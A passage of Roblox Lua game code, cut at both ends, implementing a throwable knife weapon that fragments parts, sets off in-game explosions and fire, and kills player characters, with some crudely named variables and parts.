p.Reflectance = reflectance p.Material = material game:GetService('Debris'):AddItem(p,30) p:BreakJoints() table.remove(storage,1) else local p = Instance.new("Part",fragmentable) p.BrickColor = color p.FormFactor = "Custom" p.Size = size p.BackSurface = backsurface p.BottomSurface = bottomsurface p.FrontSurface = frontsurface p.LeftSurface = leftsurface p.RightSurface = rightsurface p.TopSurface = topsurface p.Transparency = transparency p.Material = material if p.Transparency>0.285 then p.Anchored = false else p.Anchored=false p.Material='Wood' game:GetService('Debris'):AddItem(p,10) end p.CFrame = cframe p.Reflectance = reflectance p:BreakJoints() end return end local mody = math.random(-125,125)/1000 for y = 1,yi do if math.random()> 0.5 then local modx = math.random(-125,125)/1000 for x = 1,xi do local modz = math.random(-125,125)/1000 for z = 1,zi do --offset = x/xi-0.75+modx) fragmentate(cframe*CFrame.new(size.X*(xi==1 and 0 or x/xi-0.75+modx),size.Y*(yi==1 and 0 or y/yi-0.75+mody),size.Z*(zi==1 and 0 or z/zi-0.75+modz)), Vector3.new(xi == 2 and size.X*(1-2*math.abs(x/xi-0.75+modx)) or size.X,yi == 2 and size.Y*(1-2*math.abs(y/yi-0.75+mody)) or size.Y, zi == 2 and size.Z*(1-2*math.abs(z/zi-0.75+modz)) or size.Z or mustardfoot_was_here),color,explosion_position,explosion_blastradius, z~=zi and surface_between_splitted_parts or backsurface,y==2 and surface_between_splitted_parts or bottomsurface, z==2 and surface_between_splitted_parts or frontsurface,x==2 and surface_between_splitted_parts or leftsurface,x~=xi and surface_between_splitted_parts or rightsurface, y~=yi and surface_between_splitted_parts or topsurface,transparency,reflectance,material) end end else local modz = math.random(-125,125)/1000 for z = 1,zi do local modx = math.random(-125,125)/1000 for x = 1,xi do fragmentate(cframe*CFrame.new(size.X*(xi==1 and 0 or x/xi-0.75+modx),size.Y*(yi==1 and 0 or y/yi-0.75+mody),size.Z*(zi==1 and 0 or z/zi-0.75+modz)), Vector3.new(xi == 2 and size.X*(1-2*math.abs(x/xi-0.75+modx)) or size.X,yi == 2 and size.Y*(1-2*math.abs(y/yi-0.75+mody)) or size.Y, zi == 2 and size.Z*(1-2*math.abs(z/zi-0.75+modz)) or size.Z),color,explosion_position,explosion_blastradius, z~=zi and surface_between_splitted_parts or backsurface,y==2 and surface_between_splitted_parts or bottomsurface, z==2 and surface_between_splitted_parts or frontsurface,x==2 and surface_between_splitted_parts or leftsurface,x~=xi and surface_between_splitted_parts or rightsurface, y~=yi and surface_between_splitted_parts or topsurface,transparency,reflectance,material) end end end end end function start_fragmentation(position,radius,nuh) local search = Region3.new(position-Vector3.new(radius,radius,radius)*1.1,position+Vector3.new(radius,radius,radius)*1.1) repeat local finish = false local parts = workspace:FindPartsInRegion3WithIgnoreList(search,list,100) for i = 1,#parts do table.insert(list,1,parts[i]) end finish = true until #parts < 100 and finish local t = tick() for i = 1,#list do local p = list[i] if p:IsA('UnionOperation') == false and p:IsA('CornerWedgePart') == false and p:IsA('TrussPart') == false and p:IsA('WedgePart') == false and p.Parent and p.Parent ~= obj1 and p.Parent.Name ~= "Projectile" and p:IsDescendantOf(fragmentable) and p:GetMass()<50000 and p.Transparency>0.285 and p.Name~='Base' and p.Parent:FindFirstChildOfClass('Humanoid') == nil and p.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil and p:IsDescendantOf(me)==false then fragmentate(p.CFrame,p.Size,p.BrickColor,position,radius,p.BackSurface,p.BottomSurface,p.FrontSurface,p.LeftSurface,p.RightSurface,p.TopSurface,p.Transparency,p.Reflectance,p.Material) if #storage < maximumstorage and p.Shape == "Block" then p.Anchored = false p.FormFactor = "Custom" p.Size = stored_partsize p.Position = storage_position table.insert(storage,1,p) else p:Destroy() end end if nuh == false and p.Parent and p.Parent ~= obj1 and p.Parent.Name ~= "Projectile" and p:IsDescendantOf(fragmentable) and p:GetMass()<53000 and p.Transparency<0.05 and p.Name~='Base' and tostring(p.Material)=='Enum.Material.Wood' and p:IsDescendantOf(me)==false then fragmentate(p.CFrame,p.Size,p.BrickColor,position,radius,p.BackSurface,p.BottomSurface,p.FrontSurface,p.LeftSurface,p.RightSurface,p.TopSurface,p.Transparency,p.Reflectance,p.Material) if #storage < maximumstorage and p.Shape == "Block" then p.Anchored = false p.Material='Wood' p.FormFactor = "Custom" p.Size = stored_partsize p.Position = storage_position table.insert(storage,1,p) else p:Destroy() end end end list = {} end function fling() local doit = coroutine.wrap(function() if me:FindFirstChild('Right Arm') and me:FindFirstChild('Torso') and me:FindFirstChild('HumanoidRootPart') then acting = true for i=1,finishnum do local weld2 = Instance.new('Weld',me["Right Arm"]) weld2.Part0 = me["Right Arm"] weld2.Part1 = me["Torso"] weld2.C0 = CFrame.new(-1.5,0,0) if finishnum == 1 then for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0),i) wait(0.01) end end audio.SoundId = "rbxassetid://166083610" audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 audio:Play() if finishnum == 1 then for i = 0,1,0.5 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0),i) wait(0.001) end end weld2.C0 = CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0) local knofe = obj1:Clone() for i, v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end knofe.Parent = workspace knofe.Name = "Projectile" knofe.Grab.CFrame = CFrame.new(knofe.Grab.CFrame.p, mouse.Hit.p)*CFrame.Angles(0,math.pi/2,0) knofe:FindFirstChild("Trail", true).Enabled = true local heck = Instance.new('BodyVelocity',knofe.Grab) heck.Velocity = (knofe.Grab.CFrame*CFrame.Angles(0,math.pi/-2,0)).lookVector*120 local coru = coroutine.wrap(function() wait(0.45) if heck then heck:Destroy() end end) coru() local able = true knofe["big ass knife"].Touched:connect(function(hit) if hit.Parent and hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Transparency < 1 and knofe.Grab.CanCollide == false and hit.Parent ~= me and hit.Parent.Parent ~= me then local thing = hit.Parent:FindFirstChildOfClass('Humanoid') local ree = hit.Parent if thing == nil then ree = hit.Parent.Parent end if ree:FindFirstChildOfClass('Humanoid').Health > 0 then knofe:FindFirstChild("Trail", true).Enabled = false game:GetService('Debris'):AddItem(knofe,5) tone = math.random(1, 3) local sound = Instance.new('Sound',knofe.Grab) if tone == 1 then sound.SoundId = "rbxassetid://220833967" end if tone == 2 then sound.SoundId = "rbxassetid://220833976" end if tone == 3 then sound.SoundId = "rbxassetid://220834000" end sound.PlaybackSpeed = 1 sound:Play() for i, v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.CanCollide = true v.Anchored = true end end hit.Anchored = true if ree:FindFirstChildOfClass('Humanoid') and hit.Name == "Torso" or hit.Name == "Head" then ree:FindFirstChildOfClass('Humanoid').Health = 0 end wait() killz(ree,hit.Name,knofe) else knofe:FindFirstChild("Trail", true).Enabled = false heck.Velocity = Vector3.new(0,0,0) heck:Destroy() game:GetService('Debris'):AddItem(knofe,5) tone = math.random(1, 3) local sound = Instance.new('Sound',knofe.Grab) if tone == 1 then sound.SoundId = "rbxassetid://220833967" end if tone == 2 then sound.SoundId = "rbxassetid://220833976" end if tone == 3 then sound.SoundId = "rbxassetid://220834000" end sound.PlaybackSpeed = 1 sound:Play() for i, v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end hit.Anchored = true wait(0.001) hit.Anchored = false for i, v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if knofe then local coru = coroutine.wrap(function() if hit then local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = hit.CFrame dos.CFrame = knofe["big ass knife"].CFrame local weld = Instance.new('Weld',knofe["big ass knife"]) weld.Part0 = hit weld.Part1 = knofe["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() end end) coru() end end elseif hit.Parent and hit.Parent ~= me and hit.Parent.Parent ~= me and hit.CanCollide and knofe.Grab.CanCollide == false then if hit.Transparency and (hit.Transparency<=0.285 or hit:GetMass()<=3000) then knofe:FindFirstChild("Trail", true).Enabled = false local sound = Instance.new('Sound',knofe.Grab) sound.SoundId = 'rbxassetid://267585646' sound:Play() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Anchored = true end end wait() heck.Velocity = Vector3.new(0,0,0) heck:Destroy() local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = hit.CFrame dos.CFrame = knofe["big ass knife"].CFrame local weld = Instance.new('Weld',knofe["big ass knife"]) weld.Part0 = hit weld.Part1 = knofe["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end game:GetService('Debris'):AddItem(knofe,5) for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.CanCollide = true end end end if hit.Parent and hit.Transparency>0.285 and able == true and hit:GetMass()<3000 and hit.Parent:FindFirstChildOfClass('Humanoid') == nil and (hit.Parent.Parent == nil or hit.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil) then knofe:FindFirstChild("Trail", true).Enabled = false able = false local sound = Instance.new('Sound',knofe.Grab) sound.SoundId = 'rbxassetid://144884907' sound:Play() local coru = coroutine.wrap(function() start_fragmentation(knofe["big ass knife"].Position,1.25,knofe) end) coru() end end end) if finishnum == 1 then for i= 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) wait(0.001) end else for i= 0,1,0.5 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) wait(0.001) end end for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 0 end end weld2:Destroy() rightshoulderz:Clone().Parent = me.Torso end acting = false canClick = true end end) doit() end function instasplode() local coru = coroutine.wrap(function() acting = true for i=1,1 do local weld2 = Instance.new('Weld',me["Right Arm"]) weld2.Part0 = me["Right Arm"] weld2.Part1 = me["Torso"] weld2.C0 = CFrame.new(-1.5,0,0) if finishnum == 1 then for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0),i) wait(0.01) end end weld2.C0 = CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0) audio.SoundId = "rbxassetid://166083610" audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 audio:Play() if finishnum == 1 then for i = 0,1,0.5 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0),i) wait(0.001) end end weld2.C0 = CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0) local knofe = obj1:Clone() for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end knofe.Parent = workspace knofe.Name = "Projectile" knofe.Grab.CFrame = CFrame.new(knofe.Grab.CFrame.p, mouse.Hit.p)*CFrame.Angles(0,math.pi/2,0) knofe:FindFirstChild("Trail", true).Enabled = false fireofjesUS = Instance.new("Fire", knofe.Grab) local heck = Instance.new('BodyVelocity',knofe.Grab) heck.Velocity = (knofe.Grab.CFrame*CFrame.Angles(0,math.pi/-2,0)).lookVector*120 local coru = coroutine.wrap(function() wait(0.45) if heck then heck:Destroy() end end) coru() knofe["big ass knife"].Touched:connect(function(hit) if hit.Parent ~= me and hit.Parent.Parent ~= me and hit.Transparency < 1 and knofe.Grab.CanCollide == false then heck.Velocity = Vector3.new(0,0,0) heck:Destroy() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.CanCollide = true end end local hum = hit.Parent:FindFirstChildOfClass('Humanoid') if hum == nil then hum = hit.Parent.Parent:FindFirstChildOfClass('Humanoid') end if knofe then local coru = coroutine.wrap(function() if hit then local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = hit.CFrame dos.CFrame = knofe["big ass knife"].CFrame local weld = Instance.new('Weld',knofe["big ass knife"]) weld.Part0 = hit weld.Part1 = knofe["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() end end) coru() end local sound = Instance.new('Sound',knofe.Grab) sound.Name = "BOOM" sound.EmitterSize = 25 sound.SoundId = 'rbxassetid://476477344' sound.Volume = 0.5 sound:Play() local exppart = Instance.new("Part", game.Workspace) exppart.Size = Vector3.new(0.2, 0.2, 0.2) exppart.Anchored = true exppart.CanCollide = false exppart.CFrame = CFrame.new(knofe.Grab.CFrame.p) exppart.Transparency = 1 local expaccent = Instance.new("ParticleEmitter", exppart) expaccent.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 0)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))}) expaccent.LightEmission = 0.2 expaccent.LightInfluence = 0.3 expaccent.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 0)}) expaccent.Acceleration = Vector3.new(0, 30, 0) expaccent.Drag = 15 expaccent.LockedToPart = false expaccent.Lifetime = NumberRange.new(0.5, 1.5) expaccent.Rate = 2000 expaccent.Speed = NumberRange.new(0,0) expaccent.SpreadAngle = Vector2.new(360, 360) expaccent:Clone().Parent = exppart expaccent:Clone().Parent = exppart local exp = Instance.new('Explosion',game.Workspace) exp.Position = knofe["big ass knife"].Position exp.ExplosionType = Enum.ExplosionType.NoCraters exp.BlastRadius = 5 exp.Visible = false exp.BlastPressure = 0 exp.DestroyJointRadiusPercent = 0 exp.Hit:connect(function(hit) if hit.Parent and hit.Parent ~= me and hit.Parent.Name ~= "bitch ass knife" then wait(0.001) tgt = hit local coru=coroutine.wrap(function(tgtt) local fireofgods = Instance.new("Fire", tgtt) fireofgods.Size = 0 fireofgods.Heat = 0 local fireofgodsaccent = expaccent:Clone() fireofgodsaccent.Parent = hit fireofgodsaccent.Rate = 0 fireofgodsaccent.Speed = NumberRange.new(5, 50) fireofgodsaccent.SpreadAngle = Vector2.new(45, 45) fireofgodsaccent.Acceleration = Vector3.new(0, 20, 0) while fireofgods.Size < 10 do fireofgods.Size = fireofgods.Size + 0.1 fireofgods.Heat = fireofgods.Heat + 0.1 fireofgodsaccent.Rate = fireofgodsaccent.Rate + 1 wait() end if hit.Parent and hit.Parent:FindFirstChildOfClass('Humanoid') == nil and hit.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil then hit:BreakJoints() elseif hit.Parent and hit.Parent:IsA('Accessory') then for i,v in pairs(hit:GetChildren()) do if v:IsA('SpecialMesh') then v.TextureId = "" end end end hit.BrickColor = BrickColor.new("Black") for i,v in pairs(hit.Parent:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:Destroy() end end while fireofgods.Size > 5 do fireofgods.Size = fireofgods.Size - 0.1 fireofgods.Heat = fireofgods.Heat - 0.1 wait() end fireofgods:Destroy() if hit.Parent then if hit.Parent:FindFirstChildOfClass('Humanoid') == nil and hit.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil then local p = hit fragmentate(p.CFrame,p.Size,p.BrickColor,p.Position,0.01,p.BackSurface,p.BottomSurface,p.FrontSurface,p.LeftSurface,p.RightSurface,p.TopSurface,p.Transparency,p.Reflectance,p.Material) hit:Remove() elseif hit.Parent:FindFirstChildOfClass('Humanoid') ~= nil then print(hit.Name) if hit.Name == "Torso" or hit.Name == "Head" then print('ohhh YAAAA') hit.Parent:FindFirstChildOfClass('Humanoid').Health = 0 end wait() killz(hit.Parent,hit.Name,nil,nil,false,false,true) end end end) coru(tgt) end end) local explosionaccenttimeout = coroutine.wrap(function() wait(0.2) for i, exploodn in pairs(exppart:GetChildren()) do exploodn.Enabled = false end wait(2) for i, exploodn in pairs(exppart:GetChildren()) do exploodn:Remove() end end) explosionaccenttimeout() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end exp.AncestryChanged:connect(function() knofe:Destroy() end) coru() end end) if finishnum == 1 then for i= 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) wait(0.001) end else wait(0.1) end weld2.C0 = CFrame.new(-1.5,0,0) for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 0 end end weld2:Destroy() rightshoulderz:Clone().Parent = me.Torso end acting = false canClick = true end) coru() end function fireworkit() local coru = coroutine.wrap(function() acting = true local ree = 1 if finishnum > 1 then ree = 3 end for i=1,ree do local weld2 = Instance.new('Weld',me["Right Arm"]) weld2.Part0 = me["Right Arm"] weld2.Part1 = me["Torso"] weld2.C0 = CFrame.new(-1.5,0,0) weld2.C0 = CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0) audio.SoundId = "rbxassetid://166083610" audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 audio:Play() weld2.C0 = CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0) local knofe = obj1:Clone() for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end local sound = Instance.new('Sound',knofe.Grab) sound.Volume = 0.25 sound.EmitterSize = 200 sound.MaxDistance = 300 sound.SoundId = 'rbxassetid://551051176' sound:Play() knofe.Parent = workspace knofe.Name = "Projectile" knofe.Grab.CFrame = CFrame.new(knofe.Grab.CFrame.p, mouse.Hit.p)*CFrame.Angles(0,math.pi/2,0) local partic = Instance.new('ParticleEmitter',knofe.Grab) partic.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.new(1,0,0)),ColorSequenceKeypoint.new(0.4,Color3.fromRGB(255,125,0)),ColorSequenceKeypoint.new(0.8,Color3.new(1,1,0)),ColorSequenceKeypoint.new(1,Color3.new(1,1,1))}) partic.LightEmission = 0.5 partic.LightInfluence = 0 partic.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.5),NumberSequenceKeypoint.new(1,0.15)}) partic.Rotation = NumberRange.new(0,90) partic.SpreadAngle = Vector2.new(5,5) partic.Speed = NumberRange.new(20) partic.Texture = 'rbxassetid://603193846' partic.EmissionDirection = Enum.NormalId.Left partic.Lifetime = NumberRange.new(0.5,1) partic.Rate = 100 local heck = Instance.new('BodyVelocity',knofe.Grab) heck.Velocity = (knofe.Grab.CFrame*CFrame.Angles(0,math.pi/-2,0)).lookVector*240 knofe["big ass knife"].Touched:connect(function(hit) sound:Destroy() local sound2 = Instance.new('Sound',workspace) sound2.SoundId = 'rbxassetid://138080762' sound2:Play() if heck then heck:Destroy() end for i,v in pairs(knofe:GetChildren()) do v.Anchored = true end partic.Enabled = false local colorscheme = math.random(1,4) --1 - red & orange --2 - blue & pink --3 - green & purple --4 - blue, red, white local colar1 = Color3.fromRGB(255,0,0) local colar2 = Color3.fromRGB(255,125,0) local colar3 = Color3.fromRGB(255,255,255) if colorscheme == 2 then colar1 = Color3.fromRGB(0,132,255) colar2 = Color3.fromRGB(243,105,255) elseif colorscheme == 3 then colar1 = Color3.fromRGB(76,255,0) colar2 = Color3.fromRGB(128,0,255) elseif colorscheme == 4 then colar2 = Color3.fromRGB(0,132,255) end local partic2 = Instance.new('ParticleEmitter',knofe.Grab) partic2.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,colar1),ColorSequenceKeypoint.new(1,colar1)}) partic2.LightEmission = 0.5 partic2.LightInfluence = 0 partic2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.5),NumberSequenceKeypoint.new(1,0.1)}) partic2.Rotation = NumberRange.new(0,90) partic2.SpreadAngle = Vector2.new(180,180) partic2.Speed = NumberRange.new(20) partic2.Texture = 'rbxassetid://603193846' partic2.EmissionDirection = Enum.NormalId.Right partic2.Lifetime = NumberRange.new(2,2.5) partic2.Rate = 1000 partic2.Drag = 1 local partic3 = partic2:Clone() partic3.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,colar2),ColorSequenceKeypoint.new(1,colar2)}) partic3.Parent = knofe.Grab if colorscheme == 4 then local partic4 = partic2:Clone() partic4.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,colar3),ColorSequenceKeypoint.new(1,colar3)}) partic4.Parent = knofe.Grab end wait(1) for i,v in pairs(knofe.Grab:GetChildren()) do if v:IsA('ParticleEmitter') then v.Enabled = false end end sound:Destroy() wait(2) knofe:Destroy() end) wait(0.1) weld2.C0 = CFrame.new(-1.5,0,0) for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 0 end end weld2:Destroy() rightshoulderz:Clone().Parent = me.Torso end acting = false canClick = true end) coru() end function paralyze() local coru = coroutine.wrap(function() if paralyzed == true then return end paralyzed = true local arm = me["Right Arm"] local tors = grabbed.Torso local arm2 = me["Left Arm"] if arm:FindFirstChildOfClass('Weld') == nil or arm2:FindFirstChildOfClass('Weld') == nil then return end doing = true local weld2 = arm:FindFirstChildOfClass('Weld') local weld3 = arm2:FindFirstChildOfClass('Weld') local humanroot = me.HumanoidRootPart for i = 0,1,0.075 do weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 0.80, -1.1)* CFrame.Angles(-2, 0, -1.5), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1, -0.5)* CFrame.Angles(-1.4, 0, 1.1), i) wait(0.01) end for i = 0,1,0.30 do weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 0.80, -1.1)* CFrame.Angles(-0.75, 0, -1.75), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1, -0.5)* CFrame.Angles(-1.4, 0, 1.1), i) wait(0.01) end killz(grabbed,'Left Leg') killz(grabbed,'Left Arm') killz(grabbed,'Right Leg') killz(grabbed,'Right Arm') for i, v in pairs(grabbed:GetChildren()) do if v.Name == "Part" then v.CanCollide = false end end audio:Stop() audio.SoundId = "rbxassetid://2801263" tone = math.random(1, 3) if tone == 1 then audio.PlaybackSpeed = 0.8 audio.TimePosition = 0 end if tone == 2 then audio.PlaybackSpeed = 1 audio.TimePosition = 0 end if tone == 3 then audio.PlaybackSpeed = 1.2 audio.TimePosition = 0 end audio:Play() local bleedpart = Instance.new("Part", grabbed) bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.CanCollide = false bleedpart.Position = grabbed.Head.Position + Vector3.new(0, 1, 0) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", grabbed.Torso) bleedpartweld.Part0 = grabbed.Torso bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.Angles(-1, 0, -0.35) * CFrame.new(0, 1, 0.8) local cuntruu=coroutine.wrap(function() bleed(bleedpart) end) local thicc = coroutine.wrap(function() wait(3) bleedpart:Remove() end) cuntruu() thicc() for i = 0,1,0.075 do weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 0.80, -1.1)* CFrame.Angles(-1.5, 0, -1.3), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1, -0.5)* CFrame.Angles(-1.5, 0, 1.1), i) wait(0.01) end acting = true canClick = true doing = false end) coru() end function explode() local coru = coroutine.wrap(function() acting = true for i=1,finishnum do local weld2 = Instance.new('Weld',me["Right Arm"]) weld2.Part0 = me["Right Arm"] weld2.Part1 = me["Torso"] weld2.C0 = CFrame.new(-1.5,0,0) if finishnum == 1 then for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0),i) wait(0.01) end end weld2.C0 = CFrame.new(-1.5,0.9,-0.5)*CFrame.Angles(-math.pi/0.75,-math.pi/8,0) audio.SoundId = "rbxassetid://166083610" audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 audio:Play() if finishnum == 1 then for i = 0,1,0.5 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0),i) wait(0.001) end end weld2.C0 = CFrame.new(-1.5,1.2,0.1)*CFrame.Angles(math.pi/0.9,0,0) local knofe = obj1:Clone() for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end knofe.Parent = workspace knofe.Name = "Projectile" knofe.Grab.CFrame = CFrame.new(knofe.Grab.CFrame.p, mouse.Hit.p)*CFrame.Angles(0,math.pi/2,0) knofe:FindFirstChild("Trail", true).Enabled = false local heck = Instance.new('BodyVelocity',knofe.Grab) heck.Velocity = (knofe.Grab.CFrame*CFrame.Angles(0,math.pi/-2,0)).lookVector*120 local coru = coroutine.wrap(function() wait(0.45) if heck then heck:Destroy() end end) coru() knofe["big ass knife"].Touched:connect(function(hit) if hit.Parent ~= me and hit.Parent.Parent ~= me and hit.Transparency < 1 and knofe.Grab.CanCollide == false then heck.Velocity = Vector3.new(0,0,0) heck:Destroy() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.CanCollide = true end end local hum = hit.Parent:FindFirstChildOfClass('Humanoid') if hum == nil then hum = hit.Parent.Parent:FindFirstChildOfClass('Humanoid') end if hum then tone = math.random(1, 3) local sound = Instance.new('Sound',knofe.Grab) if tone == 1 then sound.SoundId = "rbxassetid://220833967" end if tone == 2 then sound.SoundId = "rbxassetid://220833976" end if tone == 3 then sound.SoundId = "rbxassetid://220834000" end sound.PlaybackSpeed = 1 sound:Play() else local sound = Instance.new('Sound',knofe.Grab) sound.SoundId = 'rbxassetid://267585646' sound:Play() end if knofe then local coru = coroutine.wrap(function() if hit then local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = hit.CFrame dos.CFrame = knofe["big ass knife"].CFrame local weld = Instance.new('Weld',knofe["big ass knife"]) weld.Part0 = hit weld.Part1 = knofe["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() end end) coru() end local coru = coroutine.wrap(function() for i=1,15,0.7 do local sound = Instance.new('Sound',knofe.Grab) if knofe then if knofe.serration.BrickColor == BrickColor.new('Really red') then for i, v in pairs(knofe:GetChildren()) do if v.Name == "big ass knife" or v.Name == "serration" or v.Name == "knifetip1" or v.Name == "fricc" then v.BrickColor = BrickColor.new('Lily white') v.Material = Enum.Material.SmoothPlastic end end else for i,v in pairs(knofe:GetChildren()) do if v.Name == "big ass knife" or v.Name == "serration" or v.Name == "knifetip1" or v.Name == "fricc" then v.BrickColor = BrickColor.new('Really red') v.Material = Enum.Material.Neon sound.SoundId = 'rbxassetid://300473653' sound.Volume = 0.75 sound.TimePosition = 0.05 sound.EmitterSize = 25 sound.PlaybackSpeed = 1 sound:Play() end end end wait(1/i) sound:Destroy() end end local sound = Instance.new('Sound',knofe.Grab) sound.Name = "BOOM" sound.EmitterSize = 25 sound.SoundId = 'rbxassetid://12222084' sound.TimePosition = 0.1 sound.Volume = 0.5 sound:Play() local exppart = Instance.new("Part", game.Workspace) exppart.Size = Vector3.new(0.2, 0.2, 0.2) exppart.Anchored = true exppart.CanCollide = false exppart.CFrame = CFrame.new(knofe.Grab.CFrame.p) exppart.Transparency = 1 local expaccent = Instance.new("ParticleEmitter", exppart) expaccent.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 0)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))}) expaccent.LightEmission = 0.2 expaccent.LightInfluence = 0.3 expaccent.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 0)}) expaccent.Acceleration = Vector3.new(0, -8, 0) expaccent.Drag = 15 expaccent.LockedToPart = true expaccent.Lifetime = NumberRange.new(0.5, 1.5) expaccent.Rate = 2000 expaccent.Speed = NumberRange.new(10, 150) expaccent.SpreadAngle = Vector2.new(360, 360) local exp = Instance.new('Explosion',game.Workspace) exp.Position = knofe["big ass knife"].Position exp.ExplosionType = Enum.ExplosionType.NoCraters exp.BlastRadius = 10 exp.BlastPressure = 100000 exp.DestroyJointRadiusPercent = 1 exp.Hit:connect(function(hit) if hit.Parent and hit.Parent ~= me and hit.Parent:FindFirstChildOfClass('Humanoid') then if hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Name == "Torso" or hit.Name == "Head" then hit.Parent:FindFirstChildOfClass('Humanoid').Health = 0 end wait(0.001) local coru=coroutine.wrap(function() killz(hit.Parent,'Head',knofe,exp) end) coru() elseif hit.Parent and hit.Parent ~= workspace and hit.Parent ~= me then if hit.Parent.Name ~= "Projectile" then hit.Parent:BreakJoints() end elseif hit.Parent and hit.Parent ~= me then hit:BreakJoints() end end) local explosionaccenttimeout 